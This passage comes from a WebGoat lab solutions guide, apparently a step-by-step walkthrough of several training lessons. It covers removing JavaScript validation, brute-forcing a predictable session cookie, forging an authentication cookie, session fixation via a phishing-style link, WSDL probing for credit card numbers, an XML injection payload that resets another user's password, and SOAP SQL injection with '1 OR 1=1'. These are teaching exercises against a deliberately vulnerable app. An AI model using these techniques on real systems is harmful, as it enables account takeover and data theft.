Figure 6 Intercepted response If you remove the onclick="validate();" the "Submit" button will not work anymore. Locate the validate() Javascript function in the HTML page.

Figure 7 The function validate() Removing the regular expressions will remove the Javascript validation and submit the form.

Figure 8 Changed validate() function Click "Accept changes". This returns a HTML page like before but without any regular expression checks.

Figure 9 It looks the same Change the fields in the HTML page to contain symbols like @#@@# and click "Submit".

Figure 10 No more regular expression checks

Figure 11 Lesson 6 Completed

Session management Lesson Plan Title: How to Hijack a Session Concept / Topic To Teach: Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. General Goal(s): Try to access an authenticated session belonging to someone else. In this lesson the purpose is to predict the WEAKID value. The WEAKID is used to differentiate authenticated and anonymous users of WebGoat.

Solution: The easiest way to complete this lesson is to use WebScarab's Session ID Analysis. Go to WebScarab and click on the button "SessionID Analysis". Select the last POST request from the "Previous requests" drop-down box.

Figure 1 WebScarabs SessionID Analysis To make sure that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test" button on the bottom of the screen. A pop-up window must be shown like below.

Figure 2 SessionID WEAKID discovered If you don?t have a pop-up window with the Extracted Sessionids, you must edit the Request. You must delete the WEAKID value from the request. Without this cookie value, WebGoat will return a HTTP Header "Set-Cookie: WEAKID=value" so WebScarab learns about this value. Fetch 50 samples and examine the results. Enter "50" in the "Samples" window and click the button "Fetch". You will not see any information about progress.

Now you need to go to the tab "Analysis".

In the "Analysis" pane you see nothing.

You must select the Session Identifier WEAKID value from the drop-down box.

The WEAKID is divided in 2 parts: the first part is an identifier that is added 1 in every cookie and a time value. The time value is calculated at the moment that you submit the request. Notice that there is sometimes a gap in the first value of the WEAKID, skipping with 1. The value that is missing is the value that you need to know to log on. Now you only need to calculate the timestamp. This can be bruteforced using Crowbar. You know the previous timestamp and the next timestamp so you have a start and end value. You can download Crowbar for free: http://www.sensepost.com/research/crowbar/

There is a value 16935 and a value 16937 with a numeric difference of 28110 instead of 14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP request in Crowbar:

Figure 3 Crowbar Change target to localhost and adjust the port. Create a Base response. Make sure that you see "How to hijack a session" in the middle window. Insert ##1## in the WEAKID parameter where you want to brute-force the value and be aware, that the first part of the WEAKID is the one we are searching for (16936). The WEAKID in Crowbar lookes like this: Cookie: JSESSIONID=...; WEAKID=16936-1163685##1##; Start the first loop at 363093, the last digits of the last cookie before the authentication cookie and 363203, the first cookie after the authentication cookie. You have to enter these two values in the Parameter1 fields. We have to brute-force these values, but we are sure that they lie between these two boundaries. Examine the results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on "Show reply".

Figure 4 Lesson 12 Completed

Lesson Plan Title: How to Spoof an Authentication Cookie Concept / Topic To Teach: Many applications will automatically log a user into their site if the right authentication cookie is specified. Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained. Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability. Some times the cookies maybe intercepted using Cross site scripting. This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson. General Goal(s): The user should be able to bypass the authentication check. Solution: Make sure that you have "Show Cookies" enabled in WebGoat. And you need to disable the feature "Inject know cookies into requests" in WebScarab otherwise WebScarab will always inject your old cookie and not the new cookie.

Figure 1 Disable "Inject known cookies into requests"

Figure 2 Logon with webgoat/webgoat You can login with webgoat/webgoat.

Figure 3 Logged on as webgoat Hit "Refresh". This refresh will show our AuthCookie. And you are now authenticated using this cookie and not with parameters like above.

There is a new cookie called AuthCookie with values 65432ubphcfx. Logout and login with aspect/aspect.

Figure 4 Logon as aspect/aspect

Figure 5 Logged on as aspect Hit "Refresh" to see the new cookie.

Figure 6 Cookie for user aspect You have now a different cookie value for AuthCookie: 65432udfgfb webgoat

ubphcfx

Aspect

udfgfb

This is an transposition of the letters of the alphabet. Each letter is replaced with its successor, for example t->u, a->b and the user name is reversed. So for user name alice the cookie will contain the reversed user name ecila and the successors of the letters. This results in fdjmb. Login with user name alice and intercept the request in WebScarab. Add AuthCookie=65432fdjmb to the existing cookie JSESSIONID.

Figure 7 Add AuthCookie to request

Figure 8 Lesson 11 Completed

Lesson Plan Title: Session Fixation Concept / Topic To Teach: How to steal a session with a 'Session Fixation' How the attacks works: A user is recognized by the server by an unique Session ID. If a user has logged in and is authorized he does not have to reauthorize when he revisits the application as the user is recognized by the Session ID. In some applications it is possible to deliver the Session ID in the Get-Request. Here is where the attack starts. An attacker can send a hyperlink to a victim with a chosen Session ID. This can be done for example by a prepared mail which looks like an official mail from the application administrator. If the victim clicks on the link and logs in he is authorized by the Session ID the attacker has chosen. The attacker can visit the page with the same ID and is recognized as the victim and gets logged in without authorization. General Goal(s): This lesson has several stages. You play the attacker but also the victim. After having done this lesson it should be understood how a Session Fixation in general works. It should be also understood that it is a bad idea to use the Get-Request for Session IDs. Solution: This lesson has 4 stages. In stage 1 and 4 you are Hacker Joe in lesson 2 and 3 you are the victim Jane. Stage 1: You have to send a prepared mail to Jane which looks like a mail from Goat Hills Financial with a link containing a Session ID. The mail is already prepared. You only have to alter the link so it includes a Session ID (SID). You can archive this by adding &SID=WHATEVER to the link. Of course can WHATEVER be replaced by any other string. The link should look similar to following:

Figure 1: Prepared Mail Stage 2: Now you are Jane which receives the mail you wrote in stage 1. Point with the mouse on the link and you will notice the SID in the status bar of your browser. This is the easiest stage as you have only to click on the link 'Goat Hills Financial'.

Figure 2: Received Mail Stage 3: You are on the login screen of Goat Financial Hills now. In the URL is the SID visible. All you have to do is to log in with your user name Jane and your password tarzan.

Figure 3: Goat Hills Financial Login Screen Stage 4: The application switches again to the hacker Joe. There is already a prepared link you have to click on to reach the Goat Hill Financial. In real life this would be different of course. You could directly put the URL in the address bar of your browser. After having clicked on the provied link you reach Goat Hill Financial. Take a look at the URL and you will see that your SID is NOVALIDSESSION. Change this string to the SID you have chosen at the beginning of this lesson and hit enter.

Figure 4: Browser Address Bar Before Changes

Figure 5: Browser Address Bar After Changes Congratulation! You are logged in as Jane and the lesson was successful.

Figure 6: Successful Completion Of The Lesson ====================== Lesson Plan Title: How to Create a SOAP Request Concept / Topic To Teach: Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL). Let's learn something about WSDL files. Check out WebGoat's web service description language (WSDL) file. General Goal(s): Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by adding a ?WSDL on the end of the web service request.

Figure 1 - Lesson 21 Solution: Click on the URL "WebGoat WSDL" to examine the Webservices Description Language file.

Figure 2 - WSDL Count the number of operations like getFirstName. There are 4 operations defined.

Figure 3 Enter the ID For the next question the getFirstNameRequest method uses an int as parameter type. Enter int and click "Submit".

Figure 4 Stage 2 Completed Intercept the HTTP Request with WebScarab and click on the ?Raw? tab. Make sure that ?Intercept Responses? is selected. 1. 2. 3.

4.

Change the POST header to open the SoapRequest. Change the Content-Type to text/xml. Add a header SOAPAction. Append the XML envelope to the request POST http://neo:80/WebGoat/services/SoapRequest HTTP/1.1 Content-Type: text/xml SOAPAction: <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP-ENV:Body> <ns1:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://lessons"> 101

The response is Joe.

Figure 5 Intercept response

Lesson Plan Title: How to Perform WSDL Scanning Concept / Topic To Teach: Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. General Goal(s): This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers.

Figure 1 Lesson 22 Solution: Open the WSDL file in a new window. There is an operation getCreditCard.

Intercept the request with WebScarab and change the parameter to getCreditCard

Figure 2 WebScarab raw request

Figure 3 Lesson 22 Completed

Lesson Plan Title: How to Perform Web Service SAX Injection Concept / Topic To Teach: Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. General Goal(s): Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for all input validation, it may be possible to corrupt the XML that the web interface sends.

In this exercise, try to change the password for a user other than 101.

Solution: To succeed this lesson it is required to reset the password of the user with a different user-ID then 101 (which is your user-ID) . When you fill out a password and click on "Go!" the following XML request will be created, submit and parsed by the SAX parser: <wsns0:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsns1='http://lessons.webgoat.owasp.org'> <wsns0:Body> <wsns1:changePassword> 101 <password xsi:type='xsd:string'>[password] SAX parsers will parse anything that is well-formed, meaning that there are matching end and close tags and that the schema is correct. When you are able to add a new changePAssword element with corresponding id tag and password tag, the SAX parser will be more than happy to change the password for the user-ID provided. So you need to have something like this as a final result: <wsns0:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsns1='http://lessons.webgoat.owasp.org'> <wsns0:Body> <wsns1:changePassword>

101 <password xsi:type='xsd:string'>[password] <wsns1:changePassword> 102 <password xsi:type='xsd:string'>notforyoutoknow This requires to inject: newpassword <wsns1:changePassword> 102 <password xsi:type='xsd:string'>notforyoutoknow There are field-limitations in the HTML input field, so it is required to intercept the HTTP Request with WebScarab and replace the parameter password with the payload. Enter a password 'test' and click "Go!".

Figure 113 Reset password with test Intercept the request in WebScarab and replace the string test with the payload.

Figure 114 Intercept request

Figure 115 Inject XML payload

Figure 116 Lesson completed

Lesson Plan Title: How to Perform Web Service SQL Injection Concept / Topic To Teach: Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. General Goal(s): Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers. You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and look for the 'green star'. Solution: This lesson can be solved easily by using a web services tool called SOAPUI. But here you will only use WebScarab. Go in WebScarab to the tab "Web Services". You will see a history of invoked web services or WSDL files.

Figure 1 Lesson 23 Open the WebGoat WSDL file for this lesson (WsSqlInjection?WSDL) in a new window. In WebScarab you can select this WSDL from the top drop-down box. And WebScarab will parse the XML file so you can select the operations to invoke. Then you can enter a value for the parameters used to invoke the operation. For example fill out the integer 101 for the ID value and click "Execute". WebScarab will pop-up a basic authentication window. Enter username:guest, password:guest and host:localhost then click "Ok". If the pop-up does not appear you have to go to "Tools" > "Credentials". There you should activate "Ask when required".

Figure 2 Basic authentication

Figure 3 Webservice Response What happens if you change 101 to 1 OR 1=1? Will you get all the credit cards? Yes 

Figure 4 All the credit cards Remark: when you don't get any responses you might want to select the service and operation again from the drop-down box. A nice feature here would be the ability to make a raw SOAP request.